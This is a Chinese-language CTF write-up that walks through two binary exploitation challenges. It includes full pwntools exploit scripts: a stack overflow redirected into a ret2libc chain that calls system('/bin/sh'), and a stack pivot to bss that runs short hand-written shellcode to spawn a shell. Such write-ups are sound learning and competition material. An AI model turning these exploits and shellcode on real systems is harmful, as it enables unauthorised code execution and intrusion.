1.koi
虽然是栈题,但需要用到祖传libc6_2.23-0ubuntu11.3_amd64
其实核心就是wrshell()和xxx(),其他都可以不用看。
wrshell()中溢出了8个字节,gdb中调试发现只能覆盖到rbp。
满足v4 = 520且n = 520会走到xxx(),xxx()正是一个完整的栈溢出。那么思路就非常明确,将&v4(栈上地址)覆盖成&n(bss地址)。怎么覆盖呢?就是利用wrshell()的栈溢出即可。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn1","b *0x400949n c")
#sh = process("./pwn1")
elf = ELF('./pwn1')
libc = ELF('./libc.so.6')
payload1 = "A" * 80 + "B" * 8
sh.sendlineafter("exif","1")
sh.sendlineafter("number:","8")
sh.sendlineafter("size:","8")
sh.sendlineafter("Enter sehll:",payload1)
sh.interactive()
往下面n可以看到,scanf往&v4写值时,写的是我们覆盖的ebp-0x4。
那么进入xxx()的办法就出来了。
payload1 = "A" * 80 + p64(0x60108C+0x4)
可以看到n=0x208,成功走到xxx()。
然后就是正常玩libc了,完整exp如下。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
#sh = gdb.debug("./pwn1","b *0x4009f6n c")
sh = process("./pwn1")
#sh = remote('1.95.x.x',2112)
elf = ELF('./pwn1')
#libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')
libc = ELF('./libc.so.6')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
libc_puts = libc.sym['puts']
libc_system = libc.sym['system']
libc_binsh = libc.search('/bin/sh').next()
pop_rdi = 0x400a63
fun_xxx = 0x4009CE
ret = 0x4009CD
payload1 = "A" * 80 + p64(0x60108C+0x4)
payload2 = "A" * 80 + "B" * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(fun_xxx)
sh.sendlineafter("exif","1")
sh.sendlineafter("number:","8")
sh.sendlineafter("size:","8")
sh.sendlineafter("Enter sehll:",payload1)
sh.sendlineafter("a:","520")
sh.sendlineafter("CTF!",payload2)
puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")
libc_base = puts_addr - libc_puts
print(hex(libc_base))
system_addr = libc_base + libc_system
binsh_addr = libc_base + libc_binsh
payload3 = "A" * 80 + "B" * 8 + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendlineafter("CTF!",payload3)
sh.interactive()
只有一处极短的栈溢出,一眼栈迁移,简单动调发现能控制"A*8+rbp+ret+"B"*8。
init时给了bss执行权限,那么一眼栈迁移到bss。
但题目并没有给read(bss),这也是这题最大的难点。我们先试试leave ret,就很容易理解为什么要read(bss)。
from pwn import *
#context(log_level='debug')
#p = process('./pwn1')
p = gdb.debug('./pwn1','b yichu n c')
bss_addr = 0x4040C0
leave_ret = 0x000401338
payload = "A" * 8 + p64(bss_addr) + p64(leave_ret)
p.send(payload)
p.interactive()
rbp和ret成功覆盖到我们想要的地址,继续执行。
栈迁移到bss上,但bss上没东西,因此第二次ret会直接报错,所以一定要先向bss上写东西。
但总长度0x20溢出rbp仅0x10的情况肯定没法用ROPgadget执行read,仔细思考,唯一可能的办法是复用read(0, buf, 0x20uLL)。
看一眼汇编,RSI的值怎么来的。
其实就是[rbp-8],rbp我们当然能控制,也就是说,第一次栈溢出,可以回到0x401321位置,向bss上写数据。
payload = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)
p.send(payload)
p.send("A" * 32)
如下图,第一次read,正常写payload
第二次read,写bss
bss上写什么东西呢?因为0x401321自带leave_ret,所以会直接ret到bss上,所以我们就要布局一个shellcode+&bss_var就行了。
from pwn import *
#context(log_level='debug')
#p = process('./pwn1')
p = gdb.debug('./pwn1','b *0x401332 n c')
bss_addr = 0x4040C0
payload = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)
p.send(payload)
payload = "x90" * 24 + p64(bss_addr)
p.send(payload)
p.interactive()
如下图,成功在bss上执行NOP。
但由于栈迁移要消栈的原因,我们这里只有16字节的shellcode可供利用。
有两种思路,一种是利用自带的/bin/sh字符串【0x40201d】,然后syscall,这种最短可以压缩到13字节。
context.arch='amd64'
shellcode ='''
mov al,0x3b
xor esi,esi
xor edx,edx
mov edi,0x40201d
syscall
'''
print("shellcode size :"+ str(len(asm(shellcode))))
注意,必须使用x86的寄存器,而不是x64的寄存器,否则长度会超标。
另外一种思路就是用read+jmp esp二次加载shellcode,这种可以压缩到14字节,最终exp。
from pwn import *
context.arch='amd64'
context(log_level='debug')
#p = process('./pwn1')
#p = gdb.debug('./pwn1','b *0x401339 n c')
p = remote('x',2064)
bss_addr = 0x4040C0
payload1 = "A" * 8 + p64(bss_addr + 0x8) + p64(0x401321)
p.send(payload1)
shellcode ='''
xor eax, eax
mov edi, eax
lea rsi, [rsp]
mov dl, 0x80
syscall
jmp rsp
'''
print("shellcode size :"+ str(len(asm(shellcode))))
payload2 = asm(shellcode) + "x90x90" + p64(bss_addr)
p.send(payload2)
p.send(asm(shellcraft.amd64.sh()))
p.interactive()
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...